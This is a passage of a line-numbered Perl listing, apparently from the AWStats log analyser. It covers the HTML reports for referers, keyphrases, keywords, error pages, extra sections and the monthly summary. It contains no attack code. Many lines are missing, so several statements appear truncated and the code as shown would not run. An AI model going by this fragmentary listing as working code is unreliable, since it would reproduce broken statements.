"Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h",
15481
$rest_p = $TotalSearchEnginesPages - $total_p;
15482
$rest_h = $TotalSearchEnginesHits - $total_h;
15483
if ( $rest_p > 0 || $rest_h > 0 ) {
15486
if ($TotalSearchEnginesPages) {
15488
int( $rest_p / $TotalSearchEnginesPages * 1000 ) / 10;
15490
if ($TotalSearchEnginesHits) {
15491
$p_h = int( $rest_h / $TotalSearchEnginesHits * 1000 ) / 10;
15494
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
15495
print "<td>" . ( $rest_p ? $rest_p : ' ' ) . "</td>";
15496
print "<td>" . ( $rest_p ? "$p_p %" : ' ' ) . "</td>";
15497
print "<td>$rest_h</td>";
15498
print "<td>$p_h %</td>";
15504
if ( $HTMLOutput{'refererpages'} ) {
15505
print "$Center<a name=\"refererpages\"> </a><br />\n";
15509
"refererpagesfilter",
15510
$FilterIn{'refererpages'},
15511
$FilterEx{'refererpages'}
15513
my $title = "$Message[41]";
15515
$cpt = ( scalar keys %_pagesrefs_h );
15516
&tab_head( "$title", 19, 0, 'refererpages' );
15517
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
15518
if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) {
15520
if ( $FilterIn{'refererpages'} ) {
15521
print "$Message[79] <b>$FilterIn{'refererpages'}</b>";
15523
if ( $FilterIn{'refererpages'} && $FilterEx{'refererpages'} ) {
15526
if ( $FilterEx{'refererpages'} ) {
15528
"Exclude $Message[79] <b>$FilterEx{'refererpages'}</b>";
15530
if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) {
15533
print "$cpt $Message[28]";
15535
#if ($MonthRequired ne 'all') {
15536
# if ($HTMLOutput{'refererpages'}) { print "<br />$Message[102]: $TotalDifferentPages $Message[28]"; }
15539
else { print "$Message[102]: $cpt $Message[28]"; }
15542
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
15544
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
15549
$MaxRowsInHTMLOutput,
15553
( scalar keys %_pagesrefs_p )
15559
foreach my $key (@keylist) {
15560
my $nompage = CleanXSS($key);
15561
if ( length($nompage) > $MaxLengthOfShownURL ) {
15563
substr( $nompage, 0, $MaxLengthOfShownURL ) . "...";
15567
if ($TotalRefererPages) {
15569
int( $_pagesrefs_p{$key} / $TotalRefererPages * 1000 ) /
15572
if ($TotalRefererHits) {
15574
int( $_pagesrefs_h{$key} / $TotalRefererHits * 1000 ) /
15577
print "<tr><td class=\"aws\">";
15578
&ShowURLInfo($key);
15581
. ( $_pagesrefs_p{$key} ? $_pagesrefs_p{$key} : ' ' )
15583
. ( $_pagesrefs_p{$key} ? "$p_p %" : ' ' ) . "</td>";
15585
. ( $_pagesrefs_h{$key} ? $_pagesrefs_h{$key} : ' ' )
15587
. ( $_pagesrefs_h{$key} ? "$p_h %" : ' ' ) . "</td>";
15589
$total_p += $_pagesrefs_p{$key};
15590
$total_h += $_pagesrefs_h{$key};
15595
"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h",
15599
$rest_p = $TotalRefererPages - $total_p;
15600
$rest_h = $TotalRefererHits - $total_h;
15601
if ( $rest_p > 0 || $rest_h > 0 ) {
15604
if ($TotalRefererPages) {
15605
$p_p = int( $rest_p / $TotalRefererPages * 1000 ) / 10;
15607
if ($TotalRefererHits) {
15608
$p_h = int( $rest_h / $TotalRefererHits * 1000 ) / 10;
15611
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
15612
print "<td>" . ( $rest_p ? $rest_p : ' ' ) . "</td>";
15613
print "<td>" . ( $rest_p ? "$p_p %" : ' ' ) . "</td>";
15614
print "<td>$rest_h</td>";
15615
print "<td>$p_h %</td>";
15621
if ( $HTMLOutput{'keyphrases'} ) {
15622
print "$Center<a name=\"keyphrases\"> </a><br />\n";
15623
&tab_head( $Message[43], 19, 0, 'keyphrases' );
15624
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
15626
. "><th>$TotalDifferentKeyphrases $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
15630
$MaxRowsInHTMLOutput, $MinHit{'Keyphrase'},
15631
\%_keyphrases, \%_keyphrases
15633
foreach my $key (@keylist) {
15636
# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
15637
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
15639
DecodeKey_decodeutfkeys(
15640
$key, $PageCode || 'iso-8859-1'
15644
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
15646
if ($TotalKeyphrases) {
15648
int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10;
15650
print "<tr><td class=\"aws\">"
15652
. "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n";
15653
$total_s += $_keyphrases{$key};
15657
debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 );
15659
$rest_s = $TotalKeyphrases - $total_s;
15660
if ( $rest_s > 0 ) {
15662
if ($TotalKeyphrases) {
15663
$p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10;
15666
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>$rest_s</td>";
15667
print "<td>$p %</td></tr>\n";
15672
if ( $HTMLOutput{'keywords'} ) {
15673
print "$Center<a name=\"keywords\"> </a><br />\n";
15674
&tab_head( $Message[44], 19, 0, 'keywords' );
15675
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
15677
. "><th>$TotalDifferentKeywords $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
15680
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Keyword'},
15681
\%_keywords, \%_keywords );
15682
foreach my $key (@keylist) {
15685
# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
15686
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
15688
DecodeKey_decodeutfkeys(
15689
$key, $PageCode || 'iso-8859-1'
15693
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
15695
if ($TotalKeywords) {
15696
$p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10;
15698
print "<tr><td class=\"aws\">"
15700
. "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n";
15701
$total_s += $_keywords{$key};
15705
debug( "Total real / shown : $TotalKeywords / $total_s", 2 );
15707
$rest_s = $TotalKeywords - $total_s;
15708
if ( $rest_s > 0 ) {
15710
if ($TotalKeywords) {
15711
$p = int( $rest_s / $TotalKeywords * 1000 ) / 10;
15714
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>$rest_s</td>";
15715
print "<td>$p %</td></tr>\n";
15720
foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
15721
if ( $HTMLOutput{"errors$code"} ) {
15722
print "$Center<a name=\"errors$code\"> </a><br />\n";
15723
&tab_head( $Message[47], 19, 0, "errors$code" );
15724
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>URL ("
15725
. ( scalar keys %_sider404_h )
15726
. ")</th><th bgcolor=\"#$color_h\">$Message[49]</th><th>$Message[23]</th></tr>\n";
15729
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_sider404_h,
15731
foreach my $key (@keylist) {
15732
my $nompage = XMLEncode( CleanXSS($key) );
15734
#if (length($nompage)>$MaxLengthOfShownURL) { $nompage=substr($nompage,0,$MaxLengthOfShownURL)."..."; }
15735
my $referer = XMLEncode( CleanXSS( $_referer404_h{$key} ) );
15736
print "<tr><td class=\"aws\">$nompage</td>";
15737
print "<td>$_sider404_h{$key}</td>";
15738
print "<td class=\"aws\">"
15739
. ( $referer ? "$referer" : " " ) . "</td>";
15741
$total_s += $_sider404_h{$key};
15745
# TODO Build TotalErrorHits
15746
# if ($Debug) { debug("Total real / shown : $TotalErrorHits / $total_h",2); }
15747
# $rest_h=$TotalErrorHits-$total_h;
15748
# if ($rest_h > 0) {
15750
# if ($TotalErrorHits) { $p=int($rest_h/$TotalErrorHits*1000)/10; }
15751
# print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td>";
15752
# print "<td>$rest_h</td>";
15753
# print "<td>...</td>";
15761
# BY EXTRA SECTIONS
15762
#----------------------------
15763
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
15764
if ( $HTMLOutput{"allextra$extranum"} ) {
15765
if ($Debug) { debug( "ExtraName$extranum", 2 ); }
15766
print "$Center<a name=\"extra$extranum\"> </a><br />";
15767
my $title = $ExtraName[$extranum];
15768
&tab_head( "$title", 19, 0, "extra$extranum" );
15769
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
15770
print "<th>" . $ExtraFirstColumnTitle[$extranum] . "</th>";
15772
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
15774
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
15776
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
15778
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
15780
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
15782
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
15784
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
15785
print "<th width=\"120\">$Message[9]</th>";
15788
$total_p = $total_h = $total_k = 0;
15790
#$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } }
15791
#$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } }
15793
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
15795
$MaxRowsInHTMLOutput,
15796
$MinHitExtra[$extranum],
15797
\%{ '_section_' . $extranum . '_h' },
15798
\%{ '_section_' . $extranum . '_p' }
15803
$MaxRowsInHTMLOutput,
15804
$MinHitExtra[$extranum],
15805
\%{ '_section_' . $extranum . '_h' },
15806
\%{ '_section_' . $extranum . '_h' }
15809
my %keysinkeylist = ();
15810
foreach my $key (@keylist) {
15811
$keysinkeylist{$key} = 1;
15812
my $firstcol = CleanXSS( DecodeEncodedString($key) );
15813
$total_p += ${ '_section_' . $extranum . '_p' }{$key};
15814
$total_h += ${ '_section_' . $extranum . '_h' }{$key};
15815
$total_k += ${ '_section_' . $extranum . '_k' }{$key};
15818
"<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>",
15819
$firstcol, $firstcol, $firstcol, $firstcol, $firstcol );
15820
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
15822
. ${ '_section_' . $extranum . '_p' }{$key} . "</td>";
15824
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
15826
. ${ '_section_' . $extranum . '_h' }{$key} . "</td>";
15828
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
15831
${ '_section_' . $extranum . '_k' }{$key} )
15834
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
15837
${ '_section_' . $extranum . '_l' }{$key}
15839
${ '_section_' . $extranum . '_l' }{$key}, 1 )
15848
# If we ask average or sum, we loop on all other records
15849
if ( $ExtraAddAverageRow[$extranum]
15850
|| $ExtraAddSumRow[$extranum] )
15852
foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
15853
if ( $keysinkeylist{$_} ) { next; }
15854
$total_p += ${ '_section_' . $extranum . '_p' }{$_};
15855
$total_h += ${ '_section_' . $extranum . '_h' }{$_};
15856
$total_k += ${ '_section_' . $extranum . '_k' }{$_};
15862
if ( $ExtraAddAverageRow[$extranum] ) {
15864
print "<td class=\"aws\"><b>$Message[96]</b></td>";
15865
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
15867
. ( $count ? ( $total_p / $count ) : " " )
15870
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
15872
. ( $count ? ( $total_h / $count ) : " " )
15875
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
15879
? Format_Bytes( $total_k / $count )
15884
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
15885
print "<td> </td>";
15891
if ( $ExtraAddSumRow[$extranum] ) {
15893
print "<td class=\"aws\"><b>$Message[102]</b></td>";
15894
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
15895
print "<td>" . ($total_p) . "</td>";
15897
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
15898
print "<td>" . ($total_h) . "</td>";
15900
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
15901
print "<td>" . Format_Bytes($total_k) . "</td>";
15903
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
15904
print "<td> </td>";
15912
if ( $HTMLOutput{'info'} ) {
15914
# Not yet available
15915
print "$Center<a name=\"info\"> </a><br />";
15919
my $htmloutput = '';
15920
foreach my $key ( keys %HTMLOutput ) { $htmloutput = $key; }
15921
if ( $htmloutput =~ /^plugin_(\w+)$/ ) {
15922
my $pluginname = $1;
15923
print "$Center<a name=\"plugin_$pluginname\"> </a><br />";
15925
# my $function="AddHTMLGraph_$pluginname()";
15926
# eval("$function");
15927
my $function = "AddHTMLGraph_$pluginname";
15936
if ( $HTMLOutput{'main'} ) {
15939
#---------------------------------------------------------------------
15940
if ($ShowSummary) {
15941
if ($Debug) { debug( "ShowSummary", 2 ); }
15943
#print "$Center<a name=\"summary\"> </a><br />\n";
15944
my $title = "$Message[128]";
15945
&tab_head( "$title", 0, 0, 'month' );
15947
my $NewLinkParams = ${QueryString};
15948
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
15949
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
15950
$NewLinkParams =~ s/(^|&|&)year=[^&]*//i;
15951
$NewLinkParams =~ s/(^|&|&)month=[^&]*//i;
15952
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
15953
$NewLinkParams =~ s/(&|&)+/&/i;
15954
$NewLinkParams =~ s/^&//;
15955
$NewLinkParams =~ s/&$//;
15956
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
15957
my $NewLinkTarget = '';
15959
if ( $FrameName eq 'mainright' ) {
15960
$NewLinkTarget = " target=\"_parent\"";
15964
my $RatioVisits = 0;
15965
my $RatioPages = 0;
15967
my $RatioBytes = 0;
15968
if ( $TotalUnique > 0 ) {
15969
$RatioVisits = int( $TotalVisits / $TotalUnique * 100 ) / 100;
15971
if ( $TotalVisits > 0 ) {
15972
$RatioPages = int( $TotalPages / $TotalVisits * 100 ) / 100;
15974
if ( $TotalVisits > 0 ) {
15975
$RatioHits = int( $TotalHits / $TotalVisits * 100 ) / 100;
15977
if ( $TotalVisits > 0 ) {
15979
int( ( $TotalBytes / 1024 ) * 100 /
15980
( $LogType eq 'M' ? $TotalHits : $TotalVisits ) ) / 100;
15985
if ( $LogType eq 'W' || $LogType eq 'S' ) {
15991
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
15993
"<td class=\"aws\"><b>$Message[133]</b></td><td class=\"aws\" colspan=\""
15994
. ( $colspan - 1 ) . "\">\n";
15995
print( $MonthRequired eq 'all'
15996
? "$Message[6] $YearRequired"
15998
. $MonthNumLib{$MonthRequired}
16001
print "</td></tr>\n";
16002
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
16003
print "<td class=\"aws\"><b>$Message[8]</b></td>\n";
16004
print "<td class=\"aws\" colspan=\""
16005
. ( $colspan - 1 ) . "\">"
16006
. ( $FirstTime ? Format_Date( $FirstTime, 0 ) : "NA" ) . "</td>";
16008
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
16009
print "<td class=\"aws\"><b>$Message[9]</b></td>\n";
16010
print "<td class=\"aws\" colspan=\""
16011
. ( $colspan - 1 ) . "\">"
16012
. ( $LastTime ? Format_Date( $LastTime, 0 ) : "NA" )
16016
# Show main indicators title row
16018
if ( $LogType eq 'W' || $LogType eq 'S' ) {
16019
print "<td bgcolor=\"#$color_TableBGTitle\"> </td>";
16021
if ( $ShowSummary =~ /U/i ) {
16022
print "<td width=\"$w%\" bgcolor=\"#$color_u\""
16024
. ">$Message[11]</td>";
16028
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
16030
if ( $ShowSummary =~ /V/i ) {
16031
print "<td width=\"$w%\" bgcolor=\"#$color_v\""
16033
. ">$Message[10]</td>";
16037
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
16039
if ( $ShowSummary =~ /P/i ) {
16040
print "<td width=\"$w%\" bgcolor=\"#$color_p\""
16042
. ">$Message[56]</td>";
16046
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
16048
if ( $ShowSummary =~ /H/i ) {
16049
print "<td width=\"$w%\" bgcolor=\"#$color_h\""
16051
. ">$Message[57]</td>";
16055
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
16057
if ( $ShowSummary =~ /B/i ) {
16058
print "<td width=\"$w%\" bgcolor=\"#$color_k\""
16060
. ">$Message[75]</td>";
16064
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>";
16068
# Show main indicators values for viewed traffic
16070
if ( $LogType eq 'M' ) {
16071
print "<td class=\"aws\">$Message[165]</td>";
16072
print "<td> <br /> </td>\n";
16073
print "<td> <br /> </td>\n";
16074
if ( $ShowSummary =~ /H/i ) {
16075
print "<td><b>$TotalHits</b>"
16079
: "<br />($RatioHits "
16080
. lc( $Message[57] . "/" . $Message[12] ) . ")"
16084
else { print "<td> </td>"; }
16085
if ( $ShowSummary =~ /B/i ) {
16087
. Format_Bytes( int($TotalBytes) )
16088
. "</b><br />($RatioBytes $Message[108]/"
16089
. $Message[ ( $LogType eq 'M' ? 149 : 12 ) ]
16092
else { print "<td> </td>"; }
16095
if ( $LogType eq 'W' || $LogType eq 'S' ) {
16096
print "<td class=\"aws\">$Message[160] *</td>";
16098
if ( $ShowSummary =~ /U/i ) {
16101
$MonthRequired eq 'all'
16102
? "<b><= $TotalUnique</b><br />$Message[129]"
16103
: "<b>$TotalUnique</b><br /> "
16107
else { print "<td> </td>"; }
16108
if ( $ShowSummary =~ /V/i ) {
16110
"<td><b>$TotalVisits</b><br />($RatioVisits $Message[52])</td>";
16112
else { print "<td> </td>"; }
16113
if ( $ShowSummary =~ /P/i ) {
16114
print "<td><b>$TotalPages</b><br />($RatioPages "
16115
. $Message[56] . "/"
16119
else { print "<td> </td>"; }
16120
if ( $ShowSummary =~ /H/i ) {
16121
print "<td><b>$TotalHits</b>"
16125
: "<br />($RatioHits "
16126
. $Message[57] . "/"
16127
. $Message[12] . ")"
16131
else { print "<td> </td>"; }
16132
if ( $ShowSummary =~ /B/i ) {
16134
. Format_Bytes( int($TotalBytes) )
16135
. "</b><br />($RatioBytes $Message[108]/"
16136
. $Message[ ( $LogType eq 'M' ? 149 : 12 ) ]
16139
else { print "<td> </td>"; }
16143
# Show main indicators values for not viewed traffic values
16144
if ( $LogType eq 'M' || $LogType eq 'W' || $LogType eq 'S' ) {
16146
if ( $LogType eq 'M' ) {
16147
print "<td class=\"aws\">$Message[166]</td>";
16148
print "<td> <br /> </td>\n";
16149
print "<td> <br /> </td>\n";
16150
if ( $ShowSummary =~ /H/i ) {
16151
print "<td><b>$TotalNotViewedHits</b></td>";
16153
else { print "<td> </td>"; }
16154
if ( $ShowSummary =~ /B/i ) {
16156
. Format_Bytes( int($TotalNotViewedBytes) )
16159
else { print "<td> </td>"; }
16162
if ( $LogType eq 'W' || $LogType eq 'S' ) {
16163
print "<td class=\"aws\">$Message[161] *</td>";
16165
print "<td colspan=\"2\"> <br /> </td>\n";
16166
if ( $ShowSummary =~ /P/i ) {
16167
print "<td><b>$TotalNotViewedPages</b></td>";
16169
else { print "<td> </td>"; }
16170
if ( $ShowSummary =~ /H/i ) {
16171
print "<td><b>$TotalNotViewedHits</b></td>";
16173
else { print "<td> </td>"; }
16174
if ( $ShowSummary =~ /B/i ) {
16176
. Format_Bytes( int($TotalNotViewedBytes) )
16179
else { print "<td> </td>"; }
16183
&tab_end($LogType eq 'W'
16184
|| $LogType eq 'S' ? "* $Message[159]" : "" );
16188
#---------------------------------------------------------------------
16189
if ($ShowMonthStats) {
16191
if ($Debug) { debug( "ShowMonthStats", 2 ); }
16192
print "$Center<a name=\"month\"> </a><br />\n";
16193
my $title = "$Message[162]";
16194
&tab_head( "$title", 0, 0, 'month' );
16195
print "<tr><td align=\"center\">\n";
16196
print "<center>\n";
16198
$average_nb = $average_u = $average_v = $average_p = $average_h =
16200
$total_u = $total_v = $total_p = $total_h = $total_k = 0;
16202
$max_v = $max_p = $max_h = $max_k = 1;
16204
# Define total and max
16205
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
16206
my $monthix = sprintf( "%02s", $ix );
16207
$total_u += $MonthUnique{ $YearRequired . $monthix } || 0;
16208
$total_v += $MonthVisits{ $YearRequired . $monthix } || 0;
16209
$total_p += $MonthPages{ $YearRequired . $monthix } || 0;
16210
$total_h += $MonthHits{ $YearRequired . $monthix } || 0;
16211
$total_k += $MonthBytes{ $YearRequired . $monthix } || 0;
16213
#if (($MonthUnique{$YearRequired.$monthix}||0) > $max_v) { $max_v=$MonthUnique{$YearRequired.$monthix}; }
16215
( $MonthVisits{ $YearRequired . $monthix } || 0 ) > $max_v )
16217
$max_v = $MonthVisits{ $YearRequired . $monthix };
16220
#if (($MonthPages{$YearRequired.$monthix}||0) > $max_p) { $max_p=$MonthPages{$YearRequired.$monthix}; }
16221
if ( ( $MonthHits{ $YearRequired . $monthix } || 0 ) > $max_h )
16223
$max_h = $MonthHits{ $YearRequired . $monthix };
16225
if ( ( $MonthBytes{ $YearRequired . $monthix } || 0 ) > $max_k )
16227
$max_k = $MonthBytes{ $YearRequired . $monthix };
16234
# Show bars for month
16235
if ( $PluginsLoaded{'ShowGraph'}{'graphapplet'} ) {
16236
my @blocklabel = ();
16237
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
16238
my $monthix = sprintf( "%02s", $ix );
16240
"$MonthNumLib{$monthix}\�$YearRequired";
16243
"$Message[11]", "$Message[10]",
16244
"$Message[56]", "$Message[57]",
16248
( "$color_u", "$color_v", "$color_p", "$color_h",
16250
my @valmax = ( $max_v, $max_v, $max_h, $max_h, $max_k );
16252
( $total_u, $total_v, $total_p, $total_h, $total_k );
16253
my @valaverage = ();
16255
#my @valaverage=($average_v,$average_p,$average_h,$average_k);
16258
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
16259
my $monthix = sprintf( "%02s", $ix );
16260
$valdata[ $xx++ ] = $MonthUnique{ $YearRequired . $monthix }
16262
$valdata[ $xx++ ] = $MonthVisits{ $YearRequired . $monthix }
16264
$valdata[ $xx++ ] = $MonthPages{ $YearRequired . $monthix }
16266
$valdata[ $xx++ ] = $MonthHits{ $YearRequired . $monthix }
16268
$valdata[ $xx++ ] = $MonthBytes{ $YearRequired . $monthix }
16271
ShowGraph_graphapplet(
16273
$ShowMonthStats, \@blocklabel,
16274
\@vallabel, \@valcolor,
16275
\@valmax, \@valtotal,
16276
\@valaverage, \@valdata
16281
print "<tr valign=\"bottom\">";
16282
print "<td> </td>\n";
16283
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
16284
my $monthix = sprintf( "%02s", $ix );
16290
if ( $max_v > 0 ) {
16293
( $MonthUnique{ $YearRequired . $monthix } || 0 ) /
16294
$max_v * $BarHeight ) + 1;
16296
if ( $max_v > 0 ) {
16299
( $MonthVisits{ $YearRequired . $monthix } || 0 ) /
16300
$max_v * $BarHeight ) + 1;
16302
if ( $max_h > 0 ) {
16305
( $MonthPages{ $YearRequired . $monthix } || 0 ) /
16306
$max_h * $BarHeight ) + 1;
16308
if ( $max_h > 0 ) {
16310
int( ( $MonthHits{ $YearRequired . $monthix } || 0 ) /
16311
$max_h * $BarHeight ) + 1;
16313
if ( $max_k > 0 ) {
16316
( $MonthBytes{ $YearRequired . $monthix } || 0 ) /
16317
$max_k * $BarHeight ) + 1;
16320
if ( $ShowMonthStats =~ /U/i ) {
16322
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vu'}\" height=\"$bredde_u\" width=\"6\""
16323
. AltTitle( "$Message[11]: "
16324
. ( $MonthUnique{ $YearRequired . $monthix }
16328
if ( $ShowMonthStats =~ /V/i ) {
16330
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"6\""
16331
. AltTitle( "$Message[10]: "
16332
. ( $MonthVisits{ $YearRequired . $monthix }
16336
if ( $ShowMonthStats =~ /P/i ) {
16338
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
16339
. AltTitle( "$Message[56]: "
16340
. ( $MonthPages{ $YearRequired . $monthix } || 0 )
16344
if ( $ShowMonthStats =~ /H/i ) {
16346
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
16347
. AltTitle( "$Message[57]: "
16348
. ( $MonthHits{ $YearRequired . $monthix } || 0 )
16352
if ( $ShowMonthStats =~ /B/i ) {
16354
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
16358
$MonthBytes{ $YearRequired . $monthix }
16365
print "<td> </td>";
16368
# Show lib for month
16369
print "<tr valign=\"middle\">";
16371
# if (!$StaticLinks) {
16372
# print "<td><a href=\"".XMLEncode("$AWScript?${NewLinkParams}month=12&year=".($YearRequired-1))."\"><<</a></td>";
16375
print "<td> </td>";
16378
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
16379
my $monthix = sprintf( "%02s", $ix );
16381
# if (!$StaticLinks) {
16382
# print "<td><a href=\"".XMLEncode("$AWScript?${NewLinkParams}month=$monthix&year=$YearRequired")."\">$MonthNumLib{$monthix}<br />$YearRequired</a></td>";
16388
&& $monthix == $nowmonth
16389
&& $YearRequired == $nowyear
16390
? '<font class="currentday">'
16393
print "$MonthNumLib{$monthix}<br />$YearRequired";
16394
print( !$StaticLinks
16395
&& $monthix == $nowmonth
16396
&& $YearRequired == $nowyear ? '</font>' : '' );
16402
# if (!$StaticLinks) {
16403
# print "<td><a href=\"".XMLEncode("$AWScript?${NewLinkParams}month=1&year=".($YearRequired+1))."\">>></a></td>";
16406
print "<td> </td>";
16410
print "</table>\n";
16414
# Show data array for month
16415
if ($AddDataArrayMonthStats) {
16418
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[5]</td>";
16419
if ( $ShowMonthStats =~ /U/i ) {
16420
print "<td width=\"80\" bgcolor=\"#$color_u\""
16422
. ">$Message[11]</td>";
16424
if ( $ShowMonthStats =~ /V/i ) {
16425
print "<td width=\"80\" bgcolor=\"#$color_v\""
16427
. ">$Message[10]</td>";
16429
if ( $ShowMonthStats =~ /P/i ) {
16430
print "<td width=\"80\" bgcolor=\"#$color_p\""
16432
. ">$Message[56]</td>";
16434
if ( $ShowMonthStats =~ /H/i ) {
16435
print "<td width=\"80\" bgcolor=\"#$color_h\""
16437
. ">$Message[57]</td>";
16439
if ( $ShowMonthStats =~ /B/i ) {
16440
print "<td width=\"80\" bgcolor=\"#$color_k\""
16442
. ">$Message[75]</td>";
16445
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
16446
my $monthix = sprintf( "%02s", $ix );
16451
&& $monthix == $nowmonth
16452
&& $YearRequired == $nowyear
16453
? '<font class="currentday">'
16456
print "$MonthNumLib{$monthix} $YearRequired";
16457
print( !$StaticLinks
16458
&& $monthix == $nowmonth
16459
&& $YearRequired == $nowyear ? '</font>' : '' );
16461
if ( $ShowMonthStats =~ /U/i ) {
16463
$MonthUnique{ $YearRequired . $monthix }
16464
? $MonthUnique{ $YearRequired . $monthix }
16467
if ( $ShowMonthStats =~ /V/i ) {
16469
$MonthVisits{ $YearRequired . $monthix }
16470
? $MonthVisits{ $YearRequired . $monthix }
16473
if ( $ShowMonthStats =~ /P/i ) {
16475
$MonthPages{ $YearRequired . $monthix }
16476
? $MonthPages{ $YearRequired . $monthix }
16479
if ( $ShowMonthStats =~ /H/i ) {
16481
$MonthHits{ $YearRequired . $monthix }
16482
? $MonthHits{ $YearRequired . $monthix }
16485
if ( $ShowMonthStats =~ /B/i ) {
16488
int( $MonthBytes{ $YearRequired . $monthix } || 0 )
16498
"<tr><td bgcolor=\"#$color_TableBGRowTitle\">$Message[102]</td>";
16499
if ( $ShowMonthStats =~ /U/i ) {
16501
"<td bgcolor=\"#$color_TableBGRowTitle\">$total_u</td>";
16503
if ( $ShowMonthStats =~ /V/i ) {
16505
"<td bgcolor=\"#$color_TableBGRowTitle\">$total_v</td>";
16507
if ( $ShowMonthStats =~ /P/i ) {
16509
"<td bgcolor=\"#$color_TableBGRowTitle\">$total_p</td>";
16511
if ( $ShowMonthStats =~ /H/i ) {
16513
"<td bgcolor=\"#$color_TableBGRowTitle\">$total_h</td>";
16515
if ( $ShowMonthStats =~ /B/i ) {
16516
print "<td bgcolor=\"#$color_TableBGRowTitle\">"
16517
. Format_Bytes($total_k) . "</td>";
16520
print "</table>\n<br />\n";
16523
print "</center>\n";
16524
print "</td></tr>\n";
16528
print "\n<a name=\"when\"> </a>\n\n";
16531
#---------------------------------------------------------------------
16532
if ($ShowDaysOfMonthStats) {
16533
